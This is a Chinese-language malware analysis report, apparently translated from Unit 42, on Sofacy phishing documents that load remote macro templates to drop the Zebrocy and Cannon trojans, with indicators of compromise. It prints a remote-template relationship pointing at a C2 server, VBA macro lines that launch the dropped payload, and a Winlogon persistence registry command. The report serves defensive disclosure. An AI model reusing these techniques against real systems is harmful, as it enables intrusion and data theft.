一、概述
在2018年10月下旬和11月初,Unit 42监测到一系列武器化文件,这些文件使用了某种技术来加载包含恶意宏的远程模板。这种类型的武器化文件其实并不罕见,但由于其具有模块化的特点,因此自动分析系统很难将其识别为恶意文档。针对这种技术而言,如果C&C服务器在代码执行时不可用,那么则无法检索到恶意代码,从而导致该文档基本上被判断为良性的。
这一武器化文件的目标是全球范围内的几个政府实体,包括北美、欧洲和前苏联国家。对我们来说幸运的是,其中几个文档中包含的C&C服务器仍在正常运行,允许我们查看恶意宏和后续Payload。经过分析,发现其中一部分文档的第一阶段Payload与Zebrocy木马一致。但此次发现了额外的一些文档,其中包含新型的第一阶段Payload,我们将其命名为Cannon。此前,我们从未观察到Cannon被Sofacy恶意组织使用。并且,Cannon中包含一个新型的C&C通信方式,该通信是基于电子邮件。尽管以电子邮件进行C&C通信并不是一种新方法,但一般不会像HTTP或HTTPS方式那样频繁地被使用。使用电子邮件进行C&C通信,也会降低被检测到的概率,因为在许多企业中,并没有将“向未知域名发送电子邮件”加入到可疑事件的范围中。
我们已经收集到大量武器化文档,本文将对其中的两个文档进行重点分析。这两个文档具有多个相同的特征,例如使用了相同的C&C IP地址,具有相同的作者名称和策略。其中一个文档的文件名非常值得关注:crash list(Lion Air Boeing 737).docx(坠毁清单-狮航波音737.docx)。可以看出,该恶意组织试图利用灾难性事件,吸引用户的注意力,从而执行攻击。
二、攻击细节
我们捕获到的初始样本是一个Microsoft Word文档(SHA256:2cfc4b3686511f959f14889d26d3d9a0d06e27ee2bb54c9afb1ada6b8205c55f),其文件名为crash list(Lion Air Boeing 737).docx,作者名称为Joohn。该文档试图针对处理欧洲外交事务的政府组织进行鱼叉式网络钓鱼。一旦用户尝试打开此文档,Microsoft Word将立即尝试从DOCX文档settings.xml.rels文件中指定位置加载包含恶意宏和Payload的远程模板,如下所示:
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="hxxp://188.241.58[.]170/live/owa/office.dotm" TargetMode="External"/>
如果C&C已经离线,文档仍然会打开,但Word将无法检索远程模板,因此Word也无法加载宏。在这种情况下,Word将向受害者呈现出相同的诱饵文档,如下图所示,但无法通过“启用内容”按钮启用宏。如果C&C仍然在线,Word将会加载远程模板(SHA256:f1e2bceae81ccd54777f7862c616f22b581b47e0dda5cb02d0a722168ef194a5),并向用户显示下图所示的内容。
一旦受害者点击“启用内容”按钮,就会执行嵌入式宏。在宏中,使用了不太常见的AutoClose函数。这是一种反分析的手段,因为在用户关闭文档之前,Word并不会完全执行恶意代码,所以如果自动化沙箱退出了分析会话而没有特意关闭文档,那么就无法捕捉到恶意活动。在宏成功执行后,将安装Payload,并将一个文档保存到系统。通常,我们见到的都是将一个诱饵文件保存到系统中,然后显示,从而使受害者不会怀疑存在恶意活动。但是,该木马保存的文件并没有显示,并且也不包含与狮航空难相关的任何内容。宏从存储为UserForm1.Label1.Caption的文档中获取要保存到系统中的文档,并将其写入到如下位置:
%TEMP%\~temp.docm
宏从存储为UserForm1.Label2.Caption的文档中,获取要投放到系统上的Payload,并将其写入到如下位置:
%APPDATA%\MSDN\~msdn.exe
宏通过加载~temp.docm文档,并在其嵌入式宏中调用函数来运行Payload,这是一种独特的执行Payload的方式。我们认为,该文档的创建者之所以选择从投放的文件中运行Payload,是为了逃避防护软件的监测。此外,初始的宏使用这一投放的文档来执行Payload的事实,也解释了为什么文档中不包含任何诱饵内容。
为了执行这一功能,在将~temp.docm和~msdndn.exe文件写入系统后,初始宏将~temp.docm文件作为Word文档对象加载,并尝试在~temp.docm文件的Module1宏中运行函数Proc1,其代码如下:
Set WA = CreateObject("Word.Application") WA.Visible = False Set oMyDoc = WA.Documents.Open(vF) WA.Application.Run "Module1.Proc1"
Module1中的Proc1函数只是为已投放的Payload创建%APPDATA%MSDN~msdn.exe路径,并使用内置的Shell函数来执行,其代码如下:
vAdd = "~msdn" vFileName = Environ("APPDATA") & "MSDN" vFileName = vFileName + vAdd & ".e" + "x" & "e" Shell vFileName
投放到系统的Payload(SHA256:6ad3eb8b5622145a70bec67b3d14868a1c13864864afd651fe70689c95b1399a)是以Delphi语言编写而成,并经过UPX加壳,实际上是Zebrocy的一个变种。Zebrocy的这一变种在功能上,非常类似于我们在今年早些时候发现Sofacy组织使用的Zebrocy中的Payload。这一Payload使用以下URL进行C&C通信:
hxxp://188.241.58[.]170/local/s3/filters.php
Zebrocy木马会收集系统上的特定信息,通过HTTP POST请求发送到C&C服务器(也就是上述URL)。与其他Zebrocy样本一样,这一木马通过在命令行上运行SYSTEMINFO和TASKLIST,并通过遍历已连接的存储设备,来收集系统的特定信息,随后发送到C&C服务器。这一变种还会将被感染主机的屏幕截图,以JPEG图像的格式发送到C&C服务器上。然后,C&C服务器将以ASCII十六进制的形式,向信标提供辅助的Payload,木马会对其进行解码,并将解码后的内容写入如下位置:
%APPDATA%\RoamingAudiosoundfix.exe
在我们的分析过程中,发现C&C服务器还提供了一个辅助的Payload(SHA256:d18d909ee3eb65dfd49925853553c87f7fd8a40e7cebb0f342e43e0c1fbab7d7),其功能与最初的Zebrocy样本相似。辅助Payload也是使用Delphi语言编写,它是通过HTTPS协议访问以下URL,实现与C&C服务器的通信:
hxxps://200.122.181[.]25/catalog/products/books.php
三、新型Cannon木马分析
Cannon木马是以C#语言编写的,主要用作下载工具,以电子邮件的方式与C&C服务器进行通信。为了实现与C&C服务器的通信,木马通过TCP/587端口使用SMTPS协议向特定邮箱发送电子邮件。该工具按照特定顺序,执行以下功能:
1、收集系统信息和屏幕截图;
2、通过邮件方式,将收集的信息发送给恶意运营者;
3、检查收件箱中是否存在包含Payload的电子邮件;
4、下载电子邮件附件中的Payload;
5、执行下载的Payload。
实现上述活动的函数共有7个,具体如下。
3.1 start_Tick
该函数将字符串{SysPar = 65}写入名为s.txt的文件,这一文件将在木马与C&C服务器的通信过程中使用。此外,该函数还会将以下内容写入r.bat并执行该脚本,从而添加持久性:
REG ADD “HKCUSoftwareMicrosoftWindows NTCurrentVersionWinlogon” /v Shell /t REG_SZ /d [path to wsslc.exe]
这一函数还会创建一个唯一的系统标识符,该标识符在C&C通信期间用于发送和接收信息。系统标识符使用C盘的序列号和Environment.UserName的前4个十六进制字节,生成16个字符的字符串。完成上述工作后,start_Tick函数启动计时器,并运行inf_Tick方法。
3.2 inf_Tick
该函数负责收集系统信息,并将其保存到i.ini文件中,其收集信息如下:
Application.ExecutablePath
Environment.OSVersion
Environment.SystemDirectory
Environment.UserDomainName
Environment.MachineName
Environment.UserName
TimeZone.CurrentTimeZone.StandardName
Environment.TickCount
DriveInfo.GetDrives() – Name,VolumeLabel,DriveFormat,DriveType,TotalSize,AvailableFreeSpace,Serial number
Folders in C:Program Files
Folders in C:Program Files (x86)
Process.GetProcesses
它将使用上述身份验证凭据登录SMTP服务器,并将i.ini文件发送到C&C邮箱。然后,inf_Tick函数启动计时器,并运行screen_Tick方法。
3.3 screen_Tick
该函数获取桌面的屏幕截图,并将其保存到名为sysscr.ops的文件中。它使用上述身份验证凭据登录SMTP服务器,并将sysscr.ops文件发送到C&C邮箱中。然后,screen_Tick函数启动计时器,并运行txt_Tick方法。
3.4 txt_Tick
木马将尝试使用trala.cosh2[at]post.cz帐户,以POP3S的方式登录pop.seznam[.]cz。如果成功,木马将遍历收件箱中的邮件,查找与唯一系统标识符匹配的任何电子邮件。如果存在,则将邮件的正文作为十六进制格式,保存到load_Tick函数将使用的变量中。木马会在阅读和处理邮件后,删除该电子邮件。
如果木马已经从电子邮件中获取了文本,它将使用上述身份验证凭据登录SMTP服务器,将s.txt文件发送到C&C邮箱。然后,txt_Tick函数启动计时器,并运行load_Tick方法。
3.5 load_Tick
该函数首先针对从txt_Tick函数中获取的文本,删除其中所有的“B&”和“Db”内容。然后,以%字符来分割剩余的文本,将其左侧的内容视为帐户名,其右侧的内容视为密码。木马使用这些凭据,通过POP3S登录pop.seznam[.]cz的另一个邮箱帐户,并检查以唯一系统标识符为主题的电子邮件。一旦发现匹配,木马将获取该邮件的附件,将名称中包含字符串auddevc的所有附件保存到系统中,也就是下载名为auddevc.txt的文件。此外,木马将会创建一个名为l.txt的文件,并将字符串090写入其中。
如果成功获取该文件,该函数将使用上述身份验证凭据登录SMTP服务器,并将l.txt文件发送到C&C电子邮件地址。然后,load_Tick函数启动计时器,并运行subject_Tick方法。
3.6 subject_Tick
该函数在功能上与txt_Tick函数非常相似,尝试使用trala.cosh2[at]post.cz帐户,以POP3S的方式登录pop.seznam[.]cz,在收件箱中再次查找与唯一系统标识符匹配的电子邮件。如果存在,则将邮件的正文作为十六进制格式,保存到run_Tick函数将使用的变量中,其内容应该是攻击者希望将load_Tick函数中保存的文件移动到的路径(也是运行路径)。
如果木马已经从电子邮件中获取了文本,它将使用上述身份验证凭据登录SMTP服务器,将s.txt文件发送到C&C邮箱。然后,subject_Tick函数启动计时器,并运行run_Tick方法。
3.7 run_Tick
该函数首先尝试在从subject_Tick函数获取到的路径中创建目录,然后尝试将load_Tick函数中下载的auddevc.txt文件移动到新创建的目录中。如果成功,该函数会使用上述身份验证凭据登录SMTP服务器,将I.txt文件发送到C&C邮箱。
然后,该函数尝试针对移动后的文件创建进程。如果能够成功运行下载的文件,它将使用上述身份验证凭据登录SMTP服务器,将s.txt文件发送到C&C邮箱。然后,会在退出之前删除sysscr.ops屏幕截图文件和i.ini系统信息文件。
四、新型Cannon木马通信过程
我们能从crash list(Lion Air Boeing 737).docx文档以及用于托管其远程模板的188.241.58[.]170 C&C IP上找到Joohn为作者的第二个文档。从结构上来看,这一文档与第一个文档非常相似,但实际上它所附带的Payload是一个全新的恶意木马,我们将其命名为Cannon。
该工具是以C#语言编写而成的,恶意代码存在于名为cannon的命名空间中,我们由此进行了木马的命名。该木马主要用于下载程序,并通过电子邮件实现木马与C&C服务器的通信。为了与C&C服务器进行通信,该木马将通过TCP/587端口使用SMTPS协议向特定电子邮件地址发送邮件。Cannon木马的功能如下表所示,该木马高度依赖带有计时器的EventHandler来按照特定顺序运行其方法,并且以此来增强其逃避检测的能力。
Cannon的最终目的,是使用多个电子邮件帐户,向恶意活动运营者发送系统数据(系统信息和屏幕截图),并从指定的电子邮件中获取Payload。下图展现了Cannon是如何与恶意运营者控制的C&C电子邮件地址进行通信以获得辅助Payload的:
1、Cannon收集系统信息,并将其保存到ini文件中。该木马发送电子邮件到sahro.bella7[at]post.cz,并将i.ini文件作为附件,将S_inf作为正文,将唯一系统标识符作为标题,该邮件使用SMTPS协议从以下帐户之一发送:
Bishtr.cam47
Lobrek.chizh
Cervot.woprov
2、Cannon获取屏幕截图,并将其保存到ops文件中。该木马发送电子邮件到sahro.bella7[at]post.cz,并将sysscr.ops文件作为附件,将Screen字符串作为正文,将唯一系统标识符作为标题,并使用SMTPS协议从上述帐户之一发送。
3、攻击者可能会登录sahro.bella7[at]post.cz邮箱,并处理木马发送的系统信息和屏幕截图,从而确定对被感染的主机是否感兴趣。如果攻击者希望向被感染主机发送额外的Payload,他们会通过以下步骤发送电子邮件。
4、攻击者发送电子邮件到trala.cosh2[at]post.cz,以系统标识符作为标题,并在正文中包含第二个邮箱和ASCII十六进制格式的凭据。
5、攻击者向第二个邮箱发送一封邮件,以系统标识符作为标题,将辅助Payload的文件名添加txt后缀,作为附件发送。
6、Cannon通过POP3S登录trala.cosh2[at]post.cz帐户,查找标题与唯一系统标识符匹配的电子邮件。Cannon将打开标题相符的电子邮件,并解码邮件正文中的十六进制数据,以获取第二个邮箱。
7、Cannon通过向sahro.bella7[at]post.cz发送电子邮件来确认已经收到第二个邮箱地址,并以s.txt(包含{SysPar = 65}字符串)作为附件,正文中包含唯一的系统标识符,该邮件使用SMTPS协议从步骤1所使用的三个帐户之一发出。
8、攻击者发送电子邮件到trala.cosh2[at]post.cz,以唯一的系统标识符为标题,其中包含用于保存辅助Payload的文件路径。
9、Cannon通过POP3S登录第二个邮箱,查找标题与唯一系统标识符匹配的电子邮件,打开该邮件,并保存名为auddevc.txt的附件。
10、Cannon通过向sahro.bella7[at]post.cz发送电子邮件来确认文件已经下载,其中l.txt(包含090字符串)作为附件,正文中包含ok2,标题是唯一的系统标识符,该邮件使用SMTPS协议从步骤1所使用的三个帐户之一发出。
11、Cannon通过POP3S登录trala.cosh2[at]post.cz帐户,查找标题与唯一系统标识符匹配的电子邮件,打开该邮件,并解码正文中的十六进制数据,以获取用于保存auddevc.txt的文件路径。
12、Cannon通过向sahro.bella7[at]post.cz发送电子邮件来确认文件已经下载,其中l.txt(包含{SysPar = 65}字符串)作为附件,正文中包含ok3,标题是唯一的系统标识符,该邮件使用SMTPS协议从步骤1所使用的三个帐户之一发出。
13、Cannon将下载的文件移动到指定的路径。
14、Cannon通过向sahro.bella7[at]post.cz发送电子邮件来确认文件已经下载,其中l.txt(包含090字符串)作为附件,正文中包含ok4,标题是唯一的系统标识符,该邮件使用SMTPS协议从步骤1所使用的三个帐户之一发出。
15、Cannon从指定的路径运行下载的文件。
16、Cannon通过向sahro.bella7[at]post.cz发送电子邮件来确认已经成功执行,并以s.txt(包含{SysPar = 65}字符串)作为附件,正文中包含ok5,该邮件使用SMTPS协议从步骤1所使用的三个帐户之一发出。
五、总结
Sofacy将目标持续瞄准欧盟、美国和前苏联国家的政府组织,并且使用Zebrocy木马作为Payload。在这些攻击中,用于安装Zebrocy的承载文档使用了远程模板,从而增加了对攻击行为进行分析的难度。Sofacy组织还利用最近的狮航空难作为其中一次攻击的诱饵,这种攻击方式展现出了他们持续利用社会工程学的倾向。
值得注意的是,我们还发现Sofacy组织使用非常相似的承载文档,提供一个名为Cannon的新型木马。与使用基于HTTP或HTTPS方式与C&C服务器通信的Zebrocy相比,Cannon使用SMTPS和POP3S作为其C&C通道。尽管这不是一种新的策略,但显然这种方法更能有效地逃避检测,因为所涉及的外部主机是合法的电子邮件服务提供商。攻击者利用了加密的SMTPS和POP3S协议,同时还利用了合法的Web服务,这样一来,对 C&C通信的阻止就变得非常困难。
六、IoC
运载文档哈希值:
2cfc4b3686511f959f14889d26d3d9a0d06e27ee2bb54c9afb1ada6b8205c55f
af77e845f1b0a3ae32cb5cfa53ff22cc9dae883f05200e18ad8e10d7a8106392
远程模板哈希值:
f1e2bceae81ccd54777f7862c616f22b581b47e0dda5cb02d0a722168ef194a5
fc69fb278e12fc7f9c49a020eff9f84c58b71e680a9e18f78d4e6540693f557d
远程模板位置:
hxxp://188.241.58[.]170/live/owa/office.dotm
Zebrocy哈希值:
6ad3eb8b5622145a70bec67b3d14868a1c13864864afd651fe70689c95b1399a
Zebrocy C&C URL:
hxxp://188.241.58[.]170/local/s3/filters.php
hxxps://200.122.181[.]25/catalog/products/books.php
Cannon哈希值:
61a1f3b4fb4dbd2877c91e81db4b1af8395547eab199bf920e9dd11a1127221e
Cannon电子邮件帐户:
sahro.bella7[at]post.cz
trala.cosh2[at]post.cz
bishtr.cam47[at]post.cz
lobrek.chizh[at]post.cz
cervot.woprov[at]post.cz